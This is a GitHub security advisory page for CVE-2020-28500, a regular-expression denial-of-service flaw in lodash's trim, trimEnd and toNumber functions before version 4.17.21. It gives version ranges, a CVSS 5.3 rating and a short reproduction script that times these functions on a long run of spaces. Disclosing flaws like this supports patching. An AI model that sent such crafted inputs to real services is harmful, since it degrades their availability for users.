Skip to content

Regular Expression Denial of Service (ReDoS) in lodash

Moderate severity GitHub Reviewed Published Jan 6, 2022 to the GitHub Advisory Database • Updated Nov 1, 2023

Package

npm lodash (npm)

Affected versions

< 4.17.21

Patched versions

4.17.21
npm lodash-es (npm)
< 4.17.21
4.17.21
npm lodash.trim (npm)
<= 4.5.1
None
npm lodash.trimend (npm)
<= 4.5.1
None

Description

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

References

Published by the National Vulnerability Database Feb 15, 2021
Reviewed Mar 19, 2021
Published to the GitHub Advisory Database Jan 6, 2022
Last updated Nov 1, 2023

Severity

Moderate
5.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2020-28500

GHSA ID

GHSA-29mw-wpgm-hmr9

Source code

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.